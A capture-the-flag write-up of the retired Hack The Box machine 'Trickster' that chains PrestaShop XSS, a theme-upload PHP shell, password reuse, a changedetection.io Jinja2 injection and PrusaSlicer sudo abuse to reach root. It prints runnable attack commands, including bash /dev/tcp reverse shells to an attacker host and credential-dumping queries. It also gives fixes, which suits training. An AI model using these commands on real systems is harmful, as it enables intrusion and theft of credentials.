Trickster
Summary
I mapped the PrestaShop storefront at shop.trickster.htb and reached its randomized-but-guessable admin login over the open internet. A stored-XSS flaw in the public Contact Us form's file-attachment handling (CVE-2024-34716) hijacked an administrator's session when the crafted image was viewed, and that session was used to upload a malicious theme package containing a PHP reverse shell, yielding code execution as www-data. Database credentials read from the PrestaShop config file exposed a cracked employee password that was reused as the OS login for user james (capturing user.txt), and the same password was reused again to authenticate to an internal changedetection.io Docker container reachable only from the host.
A Jinja2 server-side template injection in that container's notification feature (CVE-2024-32651) gave root inside the container, whose backup archives leaked plaintext credentials for local user adam. Finally, an overly permissive sudo rule let adam run PrusaSlicer as root, and its post-processing-script feature (CVE-2023-47268) was abused to execute my own script as root, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export USERNAME="<an-account-name-you-choose>"Some commands also carry a value in angle brackets — <db_password>, <reused_password>, <token> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Full TCP port scan; only 22/tcp and 80/tcp are open.
$ nmap -sV -p- $TARGETResolve the discovered virtual host locally.
$ echo "$TARGET trickster.htb shop.trickster.htb" | sudo tee -a /etc/hostsConfirm the PrestaShop back-office login is reachable.
$ curl -sS --max-time 15 -H 'Host: shop.trickster.htb' "http://$TARGET/admin634ewutrx1jgitlooaj/index.php?controller=AdminLogin"FixRestrict access to the PrestaShop admin back officeMedium
Exact commands 3
Fetch a fresh CSRF token per submission.
$ curl -sS --max-time 15 -c cookies.txt -H 'Host: shop.trickster.htb' http://$TARGET/contact-us -o contact.htmlExtract the token.
$ tok=$(grep -oP 'name="token" value="\K[^"]+' contact.html | head -n1)Submit the XSS-carrying attachment; PNG filename/magic bytes disguise the embedded script.
$ curl -sS -i --max-time 20 -b cookies.txt -c cookies.txt -H 'Host: shop.trickster.htb' -F 'id_contact=2' -F "from=$USERNAME@trickster.htb" -F 'message=Please review the attached product image.' -F 'url=' -F "token=$tok" -F 'submitMessage=Send' -F 'fileUpload=@xss-payload.png;filename=product.png' http://$TARGET/contact-usFixPatch PrestaShop and sanitize contact-form attachments before displayCritical
Exact commands 4
Serve the malicious theme zip for the exploit script to reference.
$ python3 -m http.server 80Listener for the reverse shell embedded in the theme.
$ nc -lvnp 9001Public CVE-2024-34716 PoC: drives the XSS->admin-session->theme-upload chain end to end.
$ python3 exploit.py http://shop.trickster.htb $USERNAME@trickster.htb 'Please review the attached product image.' exploit.htmlTrigger the planted PHP shell; catch the connection on the nc listener.
$ curl -sS -H 'Host: shop.trickster.htb' http://$TARGET/themes/next/reverse_shell.phpFixRestrict and validate theme installation in the back officeCritical
Exact commands 4
From the www-data shell, read DB creds out of PrestaShop's config.
$ grep -E "define\('_DB_(SERVER|NAME|USER|PASSWD)_" /var/www/prestashop/config/config.inc.php /var/www/prestashop/app/config/parameters.phpDump employee accounts and bcrypt hashes.
$ mysql -h 127.0.0.1 -u ps_user -p'<db_password>' ps -e "SELECT firstname,lastname,email,passwd FROM ps_employee;"Crack the bcrypt hash (equivalently: hashcat -m 3200 hash.txt rockyou.txt).
$ john --format=bcrypt --wordlist=rockyou.txt ps_employee_hashes.txtAuthenticate with the cracked password — reused as james's OS login.
$ ssh james@$TARGETFixStop credential and password reuse between the application, database, and OS accountsHigh
Exact commands 2
Prove the foothold: uid=1000(james), no privileged groups.
$ id
uid=1000(james) gid=1000(james) groups=1000(james)Read the flag; replace with <user.txt> when reporting.
$ cat /home/james/user.txtExact commands 4
Tunnel the internal container port through the james SSH session.
$ ssh -L 5000:$INTERNAL_HOST:5000 james@$TARGETAuthenticate to changedetection.io with the reused password.
$ curl -sS -i -c cd.cookies -d 'email=defaultuser@changedetection.io&password=<reused_password>' http://127.0.0.1:5000/loginGrab a live CSRF token.
$ curl -sS -b cd.cookies http://127.0.0.1:5000/settingsTrigger the Jinja2 SSTI to run a reverse shell as root inside the container; start nc -lvnp 4444 first.
$ curl -sS -b cd.cookies -X POST http://127.0.0.1:5000/notification/send-test/?mode=global-settings --data-urlencode 'csrf_token=<token>' --data-urlencode "notification_urls=get://$ATTACKER_IP:80" --data-urlencode "notification_body={{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\"').read() }}" --data-urlencode 'notification_title=test'FixPatch changedetection.io and remove template-injection exposure in notificationsCritical
Exact commands 3
ZIP archives named by timestamp, one per backup the container has taken.
$ ls -la /datastore/Backups/Unpack in the container; the archive name carries the date it was written.
$ unzip -o /datastore/Backups/changedetection-backup-*.zip -d /tmp/cdbackupThe rendered config keeps its values rather than placeholders.
$ grep -rIn "password\|_DB_\|parameters" /tmp/cdbackup --include="parameters.php"FixDo not store plaintext credentials in backup or configuration exportsHigh
Exact commands 8
Confirm the NOPASSWD rule for prusaslicer.
$ sudo -l
(ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicerProduce a baseline valid .3mf project to modify (path/model depends on install).
$ /opt/PrusaSlicer/prusaslicer --export-3mf /dev/shm/model.3mf --slice /usr/share/PrusaSlicer/resources/...Unpack the .3mf archive to inject the malicious post-processing script line.
$ unzip /dev/shm/model.3mf -d /dev/shm/model_extractedAdd the post-processing command that runs as root when sliced.
$ echo 'post_process = bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/443 0>&1"' >> /dev/shm/model_extracted/Metadata/Slic3r_PE.configRepackage the modified project.
$ cd /dev/shm/model_extracted && zip -r /dev/shm/evil.3mf . && cd -Start the listener before triggering.
$ nc -lvnp 443Slice the project as root; the post-processing script runs, yielding a root shell.
$ sudo /opt/PrusaSlicer/prusaslicer -s /dev/shm/evil.3mfProve uid=0 before reading the flag; replace with <root.txt> when reporting.
$ id && cat /root/root.txtFixRemove the NOPASSWD sudo rule for PrusaSlicer and patch the post-processing featureCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.52 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.